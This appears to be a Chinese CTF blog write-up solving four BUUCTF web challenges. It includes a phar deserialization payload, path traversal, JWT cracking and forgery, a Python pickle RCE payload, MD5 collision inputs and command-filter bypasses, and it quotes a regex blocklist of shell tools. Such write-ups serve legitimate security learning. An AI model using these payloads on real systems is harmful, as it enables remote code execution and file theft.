Web-10(37-40)-BUUCTF平台

本篇内容
[CISCN2019 华北赛区 Day1 Web1]Dropbox
[CISCN2019 华北赛区 Day1 Web2]ikun
[ASIS 2019]Unicorn shop
[安洵杯 2019]easy_web

上一篇 | 目录 | 下一篇

[CISCN2019 华北赛区 Day1 Web1]Dropbox

考点:

1、任意文件下载
2、Phar扩展php反序列化漏洞

访问网址是个登录框,直接去注册admin,发现成功了,猜测和sql注入无关了。
登录进去后长这样:
Web-10(37-40)-BUUCTF平台_第1张图片
尝试上传文件之后发现限制的很死,感觉只能上传给定的gif、jpg、png格式的文件,做不来,百度。
以下内容参考大佬文章:ciscn2019华北赛区半决赛day1_web1题解和[CISCN2019 华北赛区 Day1 Web1]Dropbox。
正常上传图片,然后开启Burp抓包,点击下载,修改filename为../../index.php即可下载index.php源码,同样的把login.phpregister.phpdownload.phpdelete.php,查看这些文件发现都包含了一个class.php也下载下来。
Web-10(37-40)-BUUCTF平台_第2张图片
Web-10(37-40)-BUUCTF平台_第3张图片
代码审计:
首先class.php里的File类中的close方法执行会获得文件的内容,若是能触发,就有可能获得flag。
在这里插入图片描述
然后就是就算我们能拿到flag,也需要有地方可以回显,注意到class.php里的FileList类的__destruct()方法,此方法在对象终止时自动被调用。(以下代码为了方便看,把所有的字符串替换成xxx,反正没啥用):

public function __destruct() {
        $table = 'xxx';
        $table .= 'xxx';
        //把一维数组$this->funcs里的值循环取出添加到$table中
        foreach ($this->funcs as $func) {
            $table .= 'xxx' . htmlentities($func) . 'xxx';
        }
        $table .= 'xxx';
        $table .= 'xxx';
        //把二维数组$this->results里的每个一维数组的值传递给$result
        foreach ($this->results as $filename => $result) {
            $table .= 'xxx';
            //把一维数组$result里的值循环取出添加到$table中
            foreach ($result as $func => $value) {
                $table .= 'xxx' . htmlentities($value) . 'xxx';
            }
            $table .= 'xxx filename="' . htmlentities($filename) . '"xxx';
            $table .= 'xxx';
        }
        //把$table输出,也就是显示到浏览器的内容
        echo $table;
    }

所以FileList类肯定要用到,可以实例化一个此类的对象,让这个对象去实现File类的close()方法。注意到FileList类的__construct()方法里实例化了一个File对象。
而__construct()方法是在实例化对象时被调用,意思就是说实例化一个FileList类的对象,该方法就会被自动执行。

public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        //扫描$path路径下的所有文件名赋值给$filenames形成一个列表
        $filenames = scandir($path);
        //在列表$filenames里找到"."和".."就移除(unset)出去
        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);
        //循环列表$filenames里的文件名
        foreach ($filenames as $filename) {
            //实例化一个File类的对象
            $file = new File();
            //执行File类里的open()方法
            $file->open($path . $filename);
            //将$file对象加到数组$this->files中
            array_push($this->files, $file);
            //$this->results是二维数组
            $this->results[$file->name()] = array();
        }
    }

我们的目的是最终能调用File类的close()方法,注意到class.php里的User类的__destruct()方法的db变量执行了close()方法,__destruct()方法在对象销毁时执行。
在这里插入图片描述
那就将db变量实例化为一个FileList对象,$this->db->close()即执行FileList类里的close()方法,可惜FileList类并没有此方法,就会自动执行__call()方法。

public function __call($func, $args) {
		//将$func函数加到$this->funcs中
        array_push($this->funcs, $func);
        //在前面解释了__construct()方法,知道数组$this->files里存的都是File类的对象
        foreach ($this->files as $file) {
        	//执行File类里的$func()方法添加到二维数组里。这里$func()未知,由我们自己指定。
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

我们可以看一下在index.php里的最后几行,如下:
Web-10(37-40)-BUUCTF平台_第4张图片
实例化一个FileList对象时,首先执行了__construct()方法,扫描了$_SESSION['sandbox']所指的路径,然后for循环一直实例化File对象,经过File类的open()方法处理后,将File对象赋值给a->files形成了数组。
然后$a->Name();调用了FileList类里没有的函数,转而自动执行__call($func,$args)方法,$func就是Name()方法了,然后for循环让a->files数组里的File对象去执行Name()方法。注意到File类里的是name(),但没关系,PHP对于函数名和类名不区分大小写。$a->Size();同理。

回到题目
思路已经捋顺了,就是创建一个user对象,其db变量是一个FileList对象,对象中的文件名为flag的位置,这里猜测是/flag.txt
当user对象操纵终止时,db变量(即FileList对象)去执行close()方法,但是没有,转而执行__call()方法,里面的for循环执行了File类里的close()方法,也就执行了file_get_contents($this->filename)

以下内容参考:利用 phar 拓展 php 反序列化漏洞攻击面。原理这里不讲,看此链接。
这里利用phar协议,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,受影响的函数如下(盗的上面那个链接的图):
Web-10(37-40)-BUUCTF平台_第5张图片
先举个例子(同样盗的上面那个链接):

//phar_gen.php


class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

看到meta-data是以序列化的形式存储的:
Web-10(37-40)-BUUCTF平台_第6张图片
测试一下,利用上面代码执行后生成的phar.phar测试file_get_contents()函数,测试代码:


class TestObject {
	public function __destruct() {
		eval("system('ls');");
	}
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename); 
?>

执行一下发现确实能利用成功:
Web-10(37-40)-BUUCTF平台_第7张图片
回到题目
开始利用phar://伪协议和之前的思路构造,使close()方法里的file_get_contents($this->filename)执行类似于上面例子的phar://phar.phar/test.txt
payload


class User {
    public $db;
}
class File {
    public $filename = '/flag.txt';
}
class FileList {
    private $files;
    public function __construct() {
        $file = new File();
        $this->files = array($file);
    }
}
$o = new User();
$o->db = new FileList();

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("text.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

将以上代码使用php执行后生成phar.phar。
在这里插入图片描述
更改后缀为png,上传,开启bp抓包点击删除。
Web-10(37-40)-BUUCTF平台_第8张图片
将filename改为phar://phar.png/text.txt即可得到flag。
Web-10(37-40)-BUUCTF平台_第9张图片
说明
这里利用delete.php而不是download.php的原因是下载界面有如下一句话:
在这里插入图片描述
就是只可以访问当前目录(getcwd())、/etc和/tmp三个目录。而删除界面却可以访问根目录。





[CISCN2019 华北赛区 Day1 Web2]ikun

知识点:
jwt-cookie伪造
python反序列化

Web-10(37-40)-BUUCTF平台_第10张图片
题目提示要买Lv6的,右键源代码可以发现所有这些bilibili小电视的图片命名都是lv?.png?代指数字1,2,3,4,5,6。然后翻页的话url的page参数会跟着变。那就写脚本先找到lv6再说。

import requests

url="http://8d2379ce-3868-49e8-98eb-3961c57ddfdf.node3.buuoj.cn/shop?page="
for i in range(0,500):
    r = requests.get(url+str(i))
    if 'lv6.png' in r.text:
        print (i)
        break

得到数字181。购买的时候提示登录,随便注册一个账号登录即可。点击购买跳到购物车处。
Web-10(37-40)-BUUCTF平台_第11张图片
然而太贵,买不起,抓包改优惠券看看。
Web-10(37-40)-BUUCTF平台_第12张图片
得到另一个地址/b1g_m4mber,但是只允许admin访问。
尝试很久不会,百度,以下参考大佬文章BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun和[CISCN2019 华北赛区 Day1 Web2]ikun。
涉及到了JWT破解。不知道JWT可以查看认识JWT这篇文章。

简单了解JWT

JSON Web Token (JWT)是一个开放标准(RFC 7519),
它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。
该信息可以被验证和信任,因为它是数字签名的。

JSON Web Token由三部分组成,它们之间用圆点(.)连接。这三部分分别是:
Header:包括token的类型(“JWT”)和算法名称(比如:HMAC SHA256或者RSA等等)。
Payload:包含声明(要求)。声明是关于实体(通常是用户)和其他数据的声明。声明有三种类型: registered, publicprivate。
Signature:为了得到签名部分,你必须有编码过的header、编码过的payload、一个秘钥,签名算法是header中指定的那个。

注意:不要在JWT的payload或header中放置敏感信息,除非它们是加密的。

Web-10(37-40)-BUUCTF平台_第13张图片

JWT与Session的差异

相同点是,它们都是存储用户信息;然而,Session是在服务器端的,而JWT是在客户端的。
Session方式存储用户信息的最大问题在于要占用大量服务器内存,增加服务器的开销。
而JWT方式将用户状态分散到了客户端中,可以明显减轻服务端的内存压力。
Session的状态是存储在服务器端,客户端只有session id;而Token的状态是存储在客户端。

回到题目:
首先使用c-jwt-cracker工具破解key,工具链接:c-jwt-cracker工具。
在这里插入图片描述
然后伪造jwt,在https://jwt.io/网站生成新的jwt。
Web-10(37-40)-BUUCTF平台_第14张图片
替换我们之前得jwt,刷新一下就变为admin了。
Web-10(37-40)-BUUCTF平台_第15张图片
右键源代码发现www.zip,那就下载:
Web-10(37-40)-BUUCTF平台_第16张图片
发现在Admin.py处有一个python的反序列化操作:
Web-10(37-40)-BUUCTF平台_第17张图片
以下解释参考(Python)cPickle反序列化漏洞。

知识点:
Python中有个库可以实现序列化和反序列化操作,名为pickle或cPickle。
两者只是实现的语言不同,一个是纯python实现、另一个是C实现,函数调用基本相同。

pickle.dump()     将Python对象序列化保存到本地的文件中。
pickle.load()     载入本地文件,将文件内容反序列化为Python对象。
pickle.dumps()    将Python对象序列化为字符串。
pickle.loads()    将字符串反序列化为Python对象。

作用和PHP的serialize与unserialize一样。

回到题目,分析重要代码:

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
        	#获取url的become参数
            become = self.get_argument('become')
            #urllib.unquote将url编码的内容解码回来
            #pickle.loads将序列化的内容反序列化回来
            p = pickle.loads(urllib.unquote(become))
            #往form.html传入p的内容
            return self.render('form.html', res=p, member=1)
        except:
        	#异常的话就传入“This is Black Technology!”这个内容
            return self.render('form.html', res='This is Black Technology!', member=0)

考虑python反序列化漏洞:使用__reduce__()魔术方法。
漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码。
那就写脚本看看根路径 /下有什么东西(主要是我看网上好多教程都没写flag.txt是怎么来的,就直接读取了):

#_*_coding:utf-8_*_
import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval,("__import__('os').popen('ls /').read()",))

a = pickle.dumps(payload()) #将payload序列化
a = urllib.quote(a)         #将序列化后的结果进行url编码
print a

在这里插入图片描述
然后将生成的东西传给become参数就好了。
Web-10(37-40)-BUUCTF平台_第18张图片
发现有一个flag.txt,读取就拿到了flag。只需改一下上面那个脚本的return语句就好。

return (eval, ("open('/flag.txt','r').read()",))

Web-10(37-40)-BUUCTF平台_第19张图片
Web-10(37-40)-BUUCTF平台_第20张图片





[ASIS 2019]Unicorn shop

本题参考大佬文章:ASIS 2019-Unicorn shop。
Web-10(37-40)-BUUCTF平台_第21张图片
猜测只要买到价值1337元的独角兽就可以得到flag,但是价格框只能输入一个字符。右键查看源代码发现:
Web-10(37-40)-BUUCTF平台_第22张图片
那肯定就是utf-8编码问题了,取找找是否存在一个字符就能代表大于1337的字符。在Unicode - Compart这个网址找找。

搜索thousand出现如下,只要大于1337的就好。
Web-10(37-40)-BUUCTF平台_第23张图片
我选择了字符,输入即可拿到flag。
Web-10(37-40)-BUUCTF平台_第24张图片
Web-10(37-40)-BUUCTF平台_第25张图片





[安洵杯 2019]easy_web

Web-10(37-40)-BUUCTF平台_第26张图片
发现一串奇怪的字符串,经过两次base64解密,一次base16解密得到555.png。

TXpVek5UTTFNbVUzTURabE5qYz0
MzUzNTM1MmU3MDZlNjc=
3535352e706e67
555.png

那就尝试将index.php也这么转回去看看:

index.php
696E6465782E706870
Njk2RTY0NjU3ODJFNzA2ODcw
TmprMlJUWTBOalUzT0RKRk56QTJPRGN3

Web-10(37-40)-BUUCTF平台_第27张图片
base64解码一下:
Web-10(37-40)-BUUCTF平台_第28张图片


error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
"
; } echo $cmd; echo "
"
; //cmd能输入的被过滤了这么多 if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
"
; } else { //这里表示POST的a和b需要值不相等,但是md5后转成的字符串要相等,这就不能使用数组绕过了 if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?>

能命令执行的被过滤这么多,翻一翻以前的笔记:

linux中直接查看文件内容的工具:
cat、tac、more、less、head、tail、nl、sed、sort、uniq

发现还能用sort和uniq。

MD5强碰撞绕过
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

开始操作,过滤了ls,那就使用dir查看一下:
Web-10(37-40)-BUUCTF平台_第29张图片
注意点:由于我也是看着网上写的,但当我Burp抓包时发现我抓的是GET,需要手动改为POST,而且也不存在Content-Type: application/x-www-form-urlencoded。这都是我自己手动输入的,可能是我bp版本有问题,因为我看网上的wp都没有提到过这一点。
然后就是查看flag了:

?cmd=uniq%20/flag
?cmd=sort%20/flag
?cmd=ca\t%20/flag

以上命令都可以。
Web-10(37-40)-BUUCTF平台_第30张图片




========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/105459870
========================================================

你可能感兴趣的:(CTF,BUUCTF)